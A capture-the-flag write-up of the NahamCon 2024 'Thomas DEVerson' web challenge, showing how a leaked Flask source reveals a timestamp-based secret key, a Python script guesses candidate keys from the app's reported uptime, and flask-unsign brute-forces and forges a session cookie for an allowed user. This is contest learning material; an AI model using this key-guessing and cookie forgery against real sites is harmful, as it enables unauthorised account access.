Thomas DEVerson
The site has 3 endpoints
messages
login
andstatus
if you put any random query as post on the login u are redirect to βmessagesβ without being logged in.
we find another directory called
backup
which has the following content.
Walkthrough :
command output: {head -n 10 app.py}
from flask import (Flask, flash, redirect, render_template, request, send_from_directory, session, url_for)
from datetime import datetime
app = Flask(__name__)
c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'
allowed_users = ['Jefferson', 'Madison', 'Burr'] # No Federalists Allowed!!!!
command output: {head -n 10 requirements.txt}
Flask==3.0.3
All accounts show an error message on login attempts : account is protected!
however the responses had some interesting cookies :
HTTP/1.1 302 FOUND
Server: Werkzeug/3.0.3 Python/3.8.10
Date: Thu, 23 May 2024 23:17:43 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 189
Location: /
Vary: Cookie
Set-Cookie: session=.eJwNxcENgCAMBdBV6j8zgUcdwxDTYEUTKYaWk3F3fZf3YN0vtkMM4_KA_A9FzDgLAmZWrU5XzacSG029tUCcUu3qdBrdrbokl21AfGOAchGMyF3M8X7pNCAR.Zk_Olw.CgFkkfYZmHi5O8_eaqSwj7VohO8; HttpOnly; Path=/
Connection: close
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/">/</a>. If not, click the link.
these look like JWT but these are slightly different
flask cookies can be decoded using flask-unsign
tool
for example cookies on the homepage can be decoded like this :
> flask-unsign --cookie 'eyJuYW1lIjoiZ3Vlc3QifQ.ZlDcbw.D5h97i6PYmF5THUXwBgTVzPXMbU' --decode
{'name': 'guest'}
although the cookie can be read but it is signed, if we want to manipulate the cookie we need a secret key
which was used in the app to sign the new new cookie
going back to /backup
we can see how the app generated the secret key :
c = datetime.now()
f = c.strftime("%Y%m%d%H%M")
app.secret_key = f'THE_REYNOLDS_PAMPHLET-{f}'
and lets also take a look at the
/status
endpoint :
System healthy! Computing uptime... 82817 days 9 hours 48 minutes
here the hint is that app was started once and it is running without fail
we can roughly calculate the launch time using the following logic :
launch time = current time - uptime
this can easily be done using a python script but we wont get the exact time the key was generated because app launch and key generation will have different timings depending on multiple factors so we need to adjust the launch time a bit to get the exact key generation time
#!/usr/bin/env python3
import requests
from datetime import datetime, timedelta
base_url = 'http://challenge.nahamcon.com'
port = 30311
path = 'status'
url = f'{base_url}:{port}/{path}'
rqst = requests.get(url)
resp = rqst.text.split('\n')[1].split(' ')
days = int(resp[0])
hours = int(resp[2])
mins = int(resp[4])
uptime = timedelta(days=days, hours=hours, minutes=mins)
current_time = datetime.now()
launch_time = current_time - uptime
with open('list.txt', 'w') as outfile:
for i in range(0, 1000):
forward_time = launch_time - timedelta(minutes=i)
format_time = forward_time.strftime("%Y%m%d%H%M")
key = f'THE_REYNOLDS_PAMPHLET-{format_time}'
outfile.write(key + '\n')
βββ π½AKUMA π₯· β€β€ π10.10.0.12
βββ[ο ~/Desktop/CTF/nahamcon2024]
ββ β python gen_keys.py
twh | ~/ctf/nahamcon_2024/web
βββ π½AKUMA π₯· β€β€ π10.10.0.12
βββ[ο ~/Desktop/CTF/nahamcon2024]
ββ β head list.txt
THE_REYNOLDS_PAMPHLET-179708251415
THE_REYNOLDS_PAMPHLET-179708251413
THE_REYNOLDS_PAMPHLET-179708251412
THE_REYNOLDS_PAMPHLET-179708251411
THE_REYNOLDS_PAMPHLET-179708251410
THE_REYNOLDS_PAMPHLET-179708251409
THE_REYNOLDS_PAMPHLET-179708251408
THE_REYNOLDS_PAMPHLET-179708251407
THE_REYNOLDS_PAMPHLET-179708251406
THE_REYNOLDS_PAMPHLET-179708251405
βββ π½AKUMA π₯· β€β€ π10.10.0.12
βββ[ο ~/Desktop/CTF/nahamcon2024]
ββ β wc -l list.txt
1000 list.txt
so now we have a list of possible keys which we can test using
flask-unsign
:
βββ π½AKUMA π₯· β€β€ π10.10.0.12
βββ[ο ~/Desktop/CTF/nahamcon2024]
ββ β flask-unsign --cookie 'eyJuYW1lIjoiZ3Vlc3QifQ.ZLDcbw.D5h97i6PYmF5THUXwBgTVzPXMbU' --unsign --wordlist list.txt
[*] Session decodes to: {'name': 'guest'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 384 attempts: 'THE_REYNOLDS_PAMPHLET-179708250845'
SECRET_KEY :
THE_REYNOLDS_PAMPHLET-179708250845
now we can easily modify the cookie and use any of the allowed usernames to read
/messages
βββ π½AKUMA π₯· β€β€ π10.10.0.12
βββ[ο ~/Desktop/CTF/nahamcon2024]
ββ β flask-unsign --cookie "{'name': 'Burr'}" --sign --secret 'THE_REYNOLDS_PAMPHLET-179708250845'
eyJuYW1lIjoiQnVyciJ9.ZlDfmg.x3PYD73ZIkbVJhdpJ4c8UdYfGyg
Flag

Last updated